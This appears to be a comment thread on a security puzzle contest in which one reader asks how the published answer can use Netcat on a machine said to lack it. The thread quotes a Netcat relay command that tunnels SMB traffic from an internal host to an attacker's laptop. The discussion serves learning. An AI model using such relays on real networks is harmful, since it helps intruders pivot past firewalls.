Thanks for pointing me into the right direction, NickFnord.

So basically this is meaning what the BOFH is calling "dummy mode".

What is that "b.s." alert? Sorry if that sounds stupid as I should know it but I don't know and http://en.wikipedia.org/wiki/bs didn't clear me up, either.

Ed, thank you very much for that nice challenge and that addition to the solution

Yeah paul, I read your solution it was very nice and i understood it but I don't understand why it is right to use nc on a machine where it isn't. And it seems like I'm not the only one, already thought I overlooked something very obvious

Hi folks,

I've got a question concerning this contest. In the contest it says: "Things got even worse, as Kris explored the machine’s file system only to find that Netcat was not included in this distribution, which appeared to be a stripped down Fedora Linux machine." So there is no netcat on web1.

But in the answers from Wesley to question 1 it shows to use netcat on web1 and also in the answer to question 2 it says: "Well, on web1, you could make another Netcat relay, this time a client-to-client relay, as follows:

# mknod backpipe2 p
# nc –nv door1 445 0<backpipe2 | nc –nv krislaptop 80 | tee backpipe2"

Could anybody explain to me how to use netcat on a machine where it isn't on? Or did I overlook something or did I make some other mistake?

Thanks for answering this comprehension question.